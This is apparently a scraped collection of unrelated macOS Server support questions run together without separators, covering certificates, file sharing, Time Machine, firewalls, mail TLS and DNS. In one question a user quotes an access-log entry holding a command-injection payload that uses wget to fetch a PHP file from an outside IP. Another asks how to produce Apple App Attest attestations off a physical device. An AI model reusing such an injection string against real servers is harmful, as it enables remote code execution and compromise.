macOS 10.13.6, Server.app 5.6.3 I'm using LetsEncrypt SSL certs. After updating a cert with certbot, I use openssl to export a PKCS12 file, then import that to the system keychain using "security" as follows:

# cd /etc/letsencrypt/live/www.brazoslink.net
# openssl pkcs12 -export -inkey privkey.pem -in cert.pem -certfile fullchain.pem -out letsencrypt_sslcert.p12 -passout pass:(random passkey)
# security import letsencrypt_sslcert.p12 -f pkcs12 -k /Library/Keychains/System.keychain -P (random passkey) -T /Applications/Server.app/Contents/ServerRoot/System/Library/CoreServices/ServerManagerDaemon.bundle/Contents/MacOS/servermgrd

This all works, no errors, the updated cert appears in Server Admin just as it should, and any services/websites using that cert are automatically updated to use the updated cert so I can delete the old version. All good. However, the cert that gets created in /etc/certificates contains the self-signed "ISRG Root X1" cert, which was not contained in the original LE cert. When I run the SSL cert tests at ssllabs.com, it complains, "Incorrect order, Extra certs, Contains anchor" and gives me a "B" rating. Can anyone explain what is going on here, and how I can fix it?

Finder does not recognize all sharepoints available, opens only 1 that was previously mouned by default; runing macOS Catalina 10.15.5 acting as client connecting to AFP File Server running Mac OS Server Sierra 10.12.6) On my server (Mac OS Server Sierra 10.12.6) my sharepoints look like this: I should have 4 available sharepoints (shared folders) to my user **jfb** on the system: FAMILY-ARCHIVE, jfb, PHOTOS-ARCHIVE, and VAULT (the other two you see in the picture are not accessible by my user **jfb**) However, when connecting to this server from a machine running macOS Catalina 10.15.5 (*intermitant), my client machine ***bypasses the sharepoint selection*** screen and goes directly to mount a single sharepoint that I previously have mounted This happens even though I DO NOT have the username/password stored in teh keychain-- I just connected to this sharepoint earlier in this finder session with it. If I disconnect the sharepoint (using the "Eject" next to the sharepoint in any finder window) and reconnect, the same thing happens. *Please note that this worked several times before and I have seen this symptom be intermittant.

I had a mac mini server with OSX server. The profile I user on my iMac was created on the server, and some groups where on the server, which was also a server for TM backups. For now, the user on the iMac is Admin, Managed, Mobile. The server died recently (in fact, with the different downgrades of the server App by Apple, at the end it was just serving files), but the user on the iMac is still locked to it. For example, I can't change password anymore... What can I do to transform the managed account into a normal independent account on the iMac?

I'm running Mac OS X (*think* it's Snow Leopard - 10.6.7) on a Mac mini. I'm trying to connect remotely from an iMac (this has been working fine in the past, for some time). When I click "Share Screen..." in finder on the iMac, I (eventually) see the server's desktop, but it appears to be frozen. However, I've managed to determine (from closing the window and sharing screen again, on repeat) that it IS actually receiving input, just not updating the display. I can ssh into the server, but how can I restart the screen sharing service?

I am using macOS Server's Time Machine service to centralize backups for my mac workstations/laptops. One of the laptops hasn't been backed-up since upgrading to a new MacBook Pro (using Migration Assistant) 6 months ago. I'm now connecting the laptop Time Machine to the server, but instead of using the old backups with the same name, it's creating new ones with a "1" at the end of the name (e.g. MacBook Pro 1 when the name of the existing backup and mac is MacBook Pro). How do I force Time Machine to use the existing backups so that we may keep all the backup history? For what it's worth, I believe the macOS Server Time Machine service is no more than a SMB share from the laptop's perspective. I have seen posts on how to do inherit a Time Machine backup on a locally attached drive, but I'm not sure how to do this on a remote sparsebundle.

I need to be able to run the code that issues an Apple **attest** but not on Apple OS -- on Linux. Or, at the very least, on a MacOS **VPS** -- not a **physical** device.

import DCAppAttest

func generateKeyAndAttestation() {
    guard let attestationKey = DCAppAttestService.shared.generateKey() else {
        print("Error generating attestation key.")
        return
    }

    // Generate a nonce (you may need to use a more secure source for your actual use case)
    let nonce = Data.random(count: 32)

    // Prepare the data to be attested
    let dataToAttest = "Data to be attested".data(using: .utf8)!

    // Concatenate nonce and data
    var attestationData = nonce
    attestationData.append(dataToAttest)

    // Use DCAppAttestService to attest the data
    guard let attestation = DCAppAttestService.shared.attestData(attestationData, withKey: attestationKey) else {
        print("Error generating attestation.")
        return
    }

    // Print or use the attestation key and the resulting attestation
    print("Attestation Key: \(attestationKey)")
    print("Attestation: \(attestation)")
}

I expect there to be new customers daily, therefore this code will be run regularly. Therefore, using an Apple **physical device** for this, if indeed required, will be inconvenient. 1) I haven't found a clear answer as to whether or not DCAppAttestService must be run **only on** MacOS/iOS . 2) And whether or not it has to be a **physical** Apple device or will any VPS running one of the latest OSX do too? I'm aware that validation, verification of **attest-s** can, indeed, be run on Linux. This will the 2nd step. My question, however, about the code that issues, generates **attest-s** initially -- the 1st step. --- https://developer.apple.com/documentation/devicecheck/dcappattestservice

My Mac Pro running Mac OS X Snow Leopard 10.6.8 won't boot into Recovery or Internet mode. I want to reset the password for the admin account as I have forgotten it for all users. I also would like to reset the admin account in general. Formatting the Mac to open in macOS X Server startup would also be great.

When installing Mac OS X Server on a Mac mini Server with its original install DVD, the install is unable to continue from the first screen. Can install other versions of MacOS without an issue, any pointers?

I have 2 executables, a server and client. The server just listens on port 44888 for UDP packets and displays them. The client sends UDP packets to an address and port. I determined that the Mac firewall was causing packets to get dropped before they reach the server, and so I disabled it and now they reach the server. My problem is that when I re enable the firewall and specify to allow incoming connections to the server executable, they are dropped again, so it's only working when the firewall is completely disabled. Does anyone know why this would be? They are just rudimentary C++ executables so they aren't signed applications or anything also.

I have a bit of a problem. I recently undusted my old Mac Mini 2011 I received as a gift a couple years ago. It was running Mac OSX Lion on a Raid 1 setup with two 500 GB disks, with an older version of Server. It had the Sierra installer already downloaded to it so I ran that, only to be told that the installer is faulty and to reboot. After rebooting I found myself in the installer again, this time prompting to redownload Sierra. It did and attempted to install, then said there was an error and rebooted. Upon rebooting, it told me that Mac OS Sierra is not compatible with the version of Mac OSX Server, then prompted me to reboot again. I went into recovery mode and am now trying to re-install Lion, which takes a while because my internet is slow. My question is: Is there a way to completely uninstall Mac OSX Server through the Terminal app the installer provides? Is there a good chance Sierra installation will just work once the Server app is gone? I remember being told to update the Server app the first time I tried installing Sierra. But since it let me continue, I figured the Server app would just not work or get deleted during the installation, not brick the system installation. Edit: Screenshot of failed Sierra Installation

I have a Mac Mini server running Mavericks. It has no monitor connected. I use Remote Desktop on my laptop (also running Mavericks) for I/O to my server. When I use Remote Desktop and go Full Screen I get a 1280x1024 screen sitting in my 1680x1050 screen. Is there any way to force the client (Mac Mini) to use a setting of 1680x1050 so I get a real full screen? I tried holding down the option key while clicking on Scaled in Display -> System preferences. All I see is a new button in the bottom right that says detect displays. Clicking on it does nothing. The only resolution shown is 1280x1024. My Mac Mini Server is a late 2009 with an Nvidia GeForce 9400 graphics card.

I have a network group (all company users) that has full read/write access to all files on the Share but for some reason users continue to only have read permission. If I add the network users individually they are able to read/write again. Any ideas?

I have always used Software RAIDs, either Apple-provided, or via SoftRAID, etc. I am about to re-zhuzh my arrays and decided to do a little research beforehand… and On Apple's site, there is a statement, clear as day… # RAID 1 (mirroring) for disk redundancy # >Mirroring improves reliability by writing the same data to two or more disks. If one hard drive mechanism should fail, the second disk still contains all the data. At least two hard drives are required for mirroring. **Mirroring does not provide performance improvements.** If the hard disks are not the same capacity, the smaller size will be the amount of disk space used on both drives. Disk Utility determines this automatically. I was always under the impression that, as there are TWO platters for READ operations, that READ performance with a 2-Drive RAID1 mirror would be _somewhat improved_. This contrasts with write speed, which remains the SAME, as the drives have to both write the same data at commit-time, so as to sustain a mirrored copy of the data. However, when reading I had thought that the array acted similarly to a RAID0, *striping the reads accross both drives*. How is RAID1 is *supposed* to work? If so, is Apple.. 1. just saying there is no improvemnet to cover their asses, or 2. are they actually not implementing RAID 1 to its full extenent? (Does SoftRaid 4.3 claim to do this?) According to Wikipedia… > In RAID 1 (mirroring without parity or striping), data is written identically to two drives, thereby producing a "mirrored set"; … The array continues to operate as long as at least one drive is functioning. **With appropriate operating system support, there can be increased read performance, and only a minimal write performance reduction**;… So it is Possible, but Apple says there's does not see any speed benefit… But in practice, is there any measurable increase in speed for reads with Software Raid 1 (via Disk Utility)?

I have some certificates expiring within a month. They don't show up in the Server App, but I'm getting emails that they are expiring all the same. They show up in Keychain Access.

com.apple.servermgrd.apns.mgmt
com.apple.servermgrd.apns.mail
Server Fallback SSL Certificate

How can I renew these? Upon right-click on the second cert, I have these options: How can I get this back working with proper certificates?

I've set up the Mail component in the Server.app to provide an internal mail server. We used to use this mail server to send mail (via SMTP) without TLS on port 25 which worked well enough. Now I wanted to secure SMTP with either SSL/TLS , but I cannot get it to work. This is what I did: - In the Server.app, under *Certificates*, I've assigned an SSL certificate to the service *Mail (SMTP)* as well as to *Mail (IMAP and POP)* - I've tried to send mail via SMTP with SSL on ports 25, 587, and 465, which all failed. - I've tried to send mail via SMTP with StartTLS on the same port, which succeeded on port 25 and 587. - I've tried to send mail without any secure channel, which succeeded on port 25 and 587. My conclusions are - port 465 is not available - ports 25 and 587 respond identically - StartTLS works, and it's using the configured certificate - SSL does not work Trying to verify SSL with openssl gives me the following error

`
$ openssl s_client -showcerts -connect smtp.mail.localdomain:25 -servername smtp.mail.localdomain 
CONNECTED(00000005)
4306470444:error:1400410B:SSL routines:CONNECT_CR_SRVR_HELLO:wrong version number:/AppleInternal/Library/BuildRoots/a0876c02-1788-11ed-b9c4-96898e02b808/Library/Caches/com.apple.xbs/Sources/libressl/libressl-2.8/ssl/ssl_pkt.c:386:
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 5 bytes and written 0 bytes
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : 0000
    Session-ID: 
    Session-ID-ctx: 
    Master-Key: 
    Start Time: 1663316761
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
---

` Verifying StartTLS with openssl shows that it indeed works. Why does connecting over SSL/TLS not work? What am I missing here?

Ever since I upgraded to OS X Mountain Lion and installed OS X Server, I keep getting prompts for my Keychain password from a process called assistantd. I'm pretty sure that it's an OS X process, but don't want to give access to my keychain to just any process. So, my ultimate question is: does anyone know what assistantd is and why it would need access to my keychain?

**short story** Ports 80 & 443 seems to be closed on my MacOS Server (checked with Network Utility) -- cannot access any website from both local network and internet. Have restarted the websites service & rebooted the server few times. How to re-open ports 80 & 443? --- **long story** I have couple of websites hosted on my MacOS Server with the Websites service. It was working okay until 2 days ago. Yesterday I realised that I wasn't able to access any of the server's website neither via local network nor from the internet. After the investigation I realised that ports 80 and 443 aren't open on the server machine. I have restarted the server couple of times, turned off and back on the Websites service, no change. I cannot see anything too bad in the logs, apart from kinda weird request that seems to be the last access to the web server from the 'outside' world and reads as follows: default 88.207.212.19 - - [23/Feb/2019:11:59:10 +0000] "GET /login.cgi?cli=aa%20aa%27;wget%20http://128.199.251.119/t.php%27$ HTTP/1.1" 302 331 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" I run the older version of Server app - 5.6.3 on MacOS 10.13.6 I have not installed/updated nor changed anything on the Server or my local network in past few days. **update** I've noticed that I have a loads of entries in the server's system log: ... com.apple.xpc.launchd (com.apple.serviceproxy[__various port numbers__]): Service exited with abnormal code: 1 ... com.apple.xpc.launchd (com.apple.serviceproxy): Service only ran for 0 seconds. Pushing respawn out by 10 seconds. regardless of websites service running or not

I have my birthdays stored in my contacts. As of late I see duplicate entries for each birthday in my Calendar on the Mac. On my iOS devices they only show up once. When I deactivate my contacts account (macOS Server account) the birthdays are removed from my calendar as expected. When I reactivate the contacts account the birthdays re-appear but only once. After a few hours Calendar on my Mac will then show them twice again. If I try to manually delete one of the events I get the error message: "You can't add or change events in the Birthdays calendar". Is there a why for me to reset my "birthdays Calendar" on my Mac? What else can I do? I am using the Sierra 10.12.2 and Calendar version 9.0 Thanks for any advice.

I have a local DNS server (bind9) configured to resolve the fqdm of several servers that I have in my local network, until here everything OK. I put the ip of my local dns server and I can resolve the fqdm of my servers in my local network, but I can't surf the internet. I put the DNS of my internet provider next to the ip of my local DNS server (Bind9) , and I can only surf the internet I cannot resolve the names of any of my local servers. I try to configure my mac the file resolv.conf (/etc/resolv.conf) adding the line: -options timeout: 1 rotate attempts: 1 But this has no effect, I still can't resolve the fqdms of my local servers but I can navigate. I restart the mac and I still cannot resolve the fqdm and also the entry created in resolv.conf has been deleted :(. Any idea how to configure the DNS in macOS so that they rotate and can use the two DNS servers.

I need a little bit of help to troubleshoot our company network. We have 10+ Macs (different versions) and they are connected to a Mac Server providing a SMB/AFP network share. A few weeks ago, we enhanced our network and split some things up into different VLANs. The network of the Mac Server is now placed in a VLAN, keeping the same subnet. The VLAN is totally managed by switches/access points/firewall. Macs can connect to the server using an internal domain name like server.local domain, which points to the IP of the Mac Server. But, from time to time, users complain they cannot see the content of some folders and they need to reconnect or wait a few minutes until they can work again. Sometimes users also report that they don't see a file that other user put on the server a few minutes ago. It needs a network reconnect for the SMB/AFP to work again. These problems didn't happen before we split the network up in several VLANs - but the change shouldn't affect the connection between Macs and Server because they are in the same VLAN and subnet. The same problem occurs via SMB and AFP (so I think it isn't a problem directly with the network share ... but cannot tell it 100% for sure). I wasn't able to reproduce the issue. Everytime I tested it, it worked fine (via Wi-Fi or cable). **I got one chance to make some tests when a user that was experiencing the problem told me directly. I made some pings to the Mac server and it turned out that, when this happens, the ping to the server takes around 20 to 200 ms and sometimes packets are lost.** I don't know what the culprit is, because everytime I test it on different Macs or Windows/Linux computers everything works fine. Does someone have an idea where I can look for further troubleshooting or has someone had a similar problem and solved it? I would be very thankful for some hints that help solve this problem. Thank you for your help and best regards, Katharina